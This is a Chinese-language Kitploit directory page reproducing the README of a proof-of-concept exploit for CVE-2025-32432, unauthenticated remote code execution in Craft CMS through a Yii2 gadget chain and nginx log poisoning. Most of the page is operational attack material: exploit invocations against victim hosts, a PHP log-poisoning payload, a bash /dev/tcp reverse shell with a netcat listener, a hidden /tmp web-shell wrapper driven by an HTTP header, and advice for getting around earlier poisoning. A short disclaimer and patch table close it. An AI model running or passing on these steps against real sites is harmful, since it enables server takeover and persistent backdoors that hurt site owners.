Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-32432 — 针对CVE-2025-32432的可运行PoC - 通过Yii2 PhpManager gadget和nginx access.log日志投毒实现的Craft CMS <= 5.6.16未认证RCE | Kitploit
工具/GitHubGitHub/cd-ratel/cve-2025-32432
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育Payload 开发
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

针对CVE-2025-32432的可运行PoC - 通过Yii2 PhpManager gadget和nginx access.log日志投毒实现的Craft CMS <= 5.6.16未认证RCE

查看仓库
23个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2025-32432 - Craft CMS 未认证 RCE PoC

针对 CVE-2025-32432 的可用概念验证 PoC,这是一个影响 Craft CMS 版本直至并包含 5.6.16 的未认证远程代码执行漏洞(在等效代码路径上也影响 4.x 和 3.x 分支)。

搜索关键词:CVE-2025-32432、Craft CMS RCE、Craft 5.6.16 exploit、 Yii2 PhpManager gadget、craftcms generate-transform、Component::__set as behavior、 nginx log poisoning Craft、unauth RCE craftcms 2025。


TL;DR

root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

默认模式针对 vanilla Craft CMS 安装。--lab 标志用于 hacklab-platform 项目的 carangueijada-20 挑战,该挑战将 Craft 置于自定义会话 cookie 之后。


漏洞

受影响组件:craft\controllers\AssetsController::actionGenerateTransform。

该 action 被注册为 allowAnonymous,因此不需要任何认证。它接受一个 POST 参数 handle,然后将其 展开(spread) 到 Craft::createObject() 调用中:

root@kitploit:~
$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

当 $handle 是攻击者控制下的关联数组时,展开操作会将任意键注入构造函数配置。特别地,以 as 开头的键会被 yii\base\Component::__set 解释为行为(behavior)附加,该操作会在 任何类型检查之前 对值调用 Yii::createObject($config):

root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

Yii2 在 2.0.50 中的修复为此分支增加了 is_subclass_of($value['class'], Behavior::class) 检查;易受攻击的安装(Yii2 <= 2.0.49,或较早移除该补丁的版本)会完全跳过此守卫。

利用链:yii\rbac\PhpManager

PhpManager 是 Yii2 的库存类。它的 init() 调用 load(),而 load() 调用 loadFromFile($this->itemFile)。loadFromFile 实际上就是:

root@kitploit:~
protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require 会将磁盘上的任何文件作为 PHP 解析。如果文件包含 <?php ... ?> 块,该块就会在 worker 中执行。通过将 itemFile 指向内容受攻击者控制的文件,即可实现完整的 RCE。

落点:nginx access.log

跨安装环境最可靠的落点是 nginx 的 combined 格式 access.log。它会原样记录请求的 User-Agent,包括不可打印字符和大多数标点符号。通过发送一个 User-Agent 为 <?php system('id'); exit; ?> 的请求,攻击者就能在已知路径上植入 PHP 块。随后将 itemFile 指向 /var/log/nginx/access.log,require 便会处理该日志,按顺序执行每个 <?php ... ?> 块。

有两个细节需要注意:

  1. Payload 中不能使用双引号。 nginx 在 combined 格式中会将 " 转义为 \x22,这会破坏该行的 PHP 解析。请使用单引号或 chr() 拼接。
  2. 末尾的 exit;,这样 require 会在解析后续可能包含其他畸形 payload 的日志行之前中止。

受影响版本

组件受影响

Craft 5.6.17 对转换器类增加了 ImageTransformerInterface 检查。Yii2 2.0.50 在 Component::__set 中增加了 Behavior 子类检查。任一修复单独应用即可封堵这条具体的利用链。


环境要求

  • Python 3.8+
  • requests 库(pip install -r requirements.txt)
  • 可访问目标 HTTP(S) 端点的网络连通性
  • 目标上有效的 Craft assetId。默认为 2;如有需要可用 -a <id> 覆盖(asset id 1 通常是管理员头像)。

使用方法

标准 Craft CMS

root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'

Craft 挂在路径前缀下

root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'

自定义 asset ID

root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

自定义 itemFile(不同的日志路径、FPM session 等)

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

实验模式(carangueijada-20 挑战)

hacklab-platform 的 carangueijada-20 实验环境将 Craft 安装放在由 PATCH /login 签发的 coopsess cookie 之后。--lab 标志会自动处理该握手过程。

root@kitploit:~
python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

确保 www.carangueijada.coop 能解析到实验环境的 IP(如有需要可添加到 /etc/hosts)。

反弹 Shell

--revshell 标志会触发一个 bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 反向连接,并以后台方式运行,使 gadget POST 立即返回。

双终端流程(最可靠):

root@kitploit:~
# 终端 1 - 在你自己机器上监听
nc -lvnp 4444

# 终端 2 - 触发漏洞
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

带内置监听器的单终端流程:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen 会在触发 payload 之前,于同一终端中启动 nc -lvnp <lport>。完成后按 Ctrl+C 退出。

示例会话(实验环境):

root@kitploit:~
$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# 在监听器中:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

稳定 Shell(连接后用,在反弹 shell 内部执行):

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 按 Ctrl+Z 将 nc 切到后台
stty raw -echo; fg
# 按两次回车
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

幂等性原理

首次运行时,漏洞利用程序会污染一次 access.log,在 /tmp/.cve32432_w.php 处放置一个隐藏的 PHP wrapper。该 wrapper 读取 X-Cmd HTTP 头并执行 system($_SERVER['HTTP_X_CMD'])。之后每次派发都会将 itemFile 指向该 wrapper 文件,并通过请求头传递命令。不再需要污染日志、不再产生日志污染、也不会再出现“第一个 <?php exit; 块先执行”导致的失败。

如果你想强制重新写入,请删除目标上的 /tmp/.cve32432_w.php(你可以直接通过 wrapper 自身完成:--cmd 'rm /tmp/.cve32432_w.php')。


示例输出

对全新目标成功运行:

root@kitploit:~
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

日志被污染时的回退方案(目标之前已被利用过,较旧的 payload 会在你的 payload 之前退出):

root@kitploit:~
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

利用链实际触发过程

  1. POST /actions/assets/generate-transform 到达 AssetsController::actionGenerateTransform。
  2. handler 构建 $config = ['class' => ImageTransform::class, ...$handle]。 我们的 handle[as gadget] 能在展开后保留下来。
  3. Craft::createObject($config) 调用 Yii::$container->get(ImageTransform::class, [], $config),它会实例化 ImageTransform,并通过 $transform->{$key} = $value 写入其余每个配置键。
  4. 当解析到 as gadget 时,Component::__set 匹配到 as 前缀,并调用 Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])。

故障排查

日志污染绕过(无管理员访问权限)

如果你只能可靠地运行 id(因为更旧的 exit; 污染已锁死利用链),一个可行的中继方法是让这条唯一的 id 级命令 向你可控的路径写入一个 PHP wrapper,然后将所有后续请求的 itemFile 改为该路径:

root@kitploit:~
# 一次性污染,命令以 www-data 身份写入 /tmp/w.php
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# 将 CMD 编码为 chr() ...

然后调用:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

之后的每次派发都会读取 /tmp/w.php(一个干净 PHP 文件,我们的 payload 之前没有其他内容),并执行来自 X-Cmd 头的命令。如果你希望将其作为内置模式,可以自行修改脚本。


文件

root@kitploit:~
.
├── exploit.py        # PoC
├── README.md         # 本文件
├── requirements.txt  # Python 依赖(仅 `requests`)
└── LICENSE           # MIT

参考

  • Craft CMS 知识库条目:https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • GitHub Security Advisory(GHSA-f3gw-9ww9-jmc3):https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  • SensePost 真实世界攻击活动分析:https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Yii2 Component.php(存在漏洞的修订版):https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
  • Yii2 修复(2.0.50):https://github.com/yiisoft/yii2/pull/19938
  • 修复 5.6.17 的 Craft CMS 提交:https://github.com/craftcms/cms/commit (搜索 2025-04-09 前后的 "ImageTransformerInterface")
  • OWASP 日志注入:https://owasp.org/www-community/attacks/Log_Injection
  • HackTricks 通过 nginx 日志实现 LFI 到 RCE:https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log

免责声明

本概念验证仅用于防御性研究、教育用途以及经授权的渗透测试。在大多数司法管辖区,对你不拥有或未经书面许可的系统运行它是非法的。作者对滥用行为不承担任何责任。

如果你维护着 Craft CMS 安装,请升级到 5.6.17 或更高版本(或相应的 4.x / 3.x 补丁版本)。该漏洞极容易被利用,并且已在 SensePost 记录的真实世界攻击活动中使用。

许可证

MIT。参见 LICENSE。

下载工具
已修复
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50
  • Yii::createObject 构造 PhpManager,执行 __construct(),然后执行 init()。
  • PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'。
  • PHP 解析日志文件。非 PHP 文本会回显到 stdout(最终出现在 HTTP 响应体中)。<?php ... ?> 块会在 worker 中执行。
  • 我们植入的 payload 执行 system($cmd) 和 exit;。输出会出现在响应体中 <?php 块原本所在的位置。
  • 症状原因修复方法
    HTTP 400 + “could not verify your data submission” / “Pedido invalido”CSRF 令牌未绑定到 POST 时使用的 cookie脚本使用单个 requests.Session;如果你重新实现,请确保 cookie jar 在 session-info 和 POST 之间保留了 CRAFT_CSRF_TOKEN。
    /actions/... 返回 HTTP 403路径前缀或 vhost 错误使用 -p /prefix 匹配 Craft 挂载的位置;确保 Host 头与安装匹配。
    csrfTokenValue 为空 / session-info 返回 HTMLAccept 头错误脚本已经发送了 Accept: application/json;如果你把它移除,请恢复它。
    输出从未显示你的命令access.log 中已有一个更旧的 <?php ... exit; ?> payload 会先执行在目标上轮转/截断日志。如果你只能用 id 级别的 RCE,请等待下一次 logrotate,或者通过一个可写的 PHP 文件(例如 /tmp/wrapper.php,内容为 system($_SERVER['HTTP_X_CMD']);)进行中转,并将其用作后续的 itemFile。
    assetId not found该安装环境中的 ID 不正确浏览公开资产 URL 枚举 ID,或先试 -a 1,再试 -a 3..N。
    目标已修复Craft >= 5.6.17 或 Yii2 >= 2.0.50利用链已封堵;要么寻找另一个易受攻击的类,要么放弃。
    Payload 触发 PHP 致命错误更旧的日志条目包含畸形 PHP,会在你的块之前破坏解析器与日志污染的修复方法相同:轮转日志。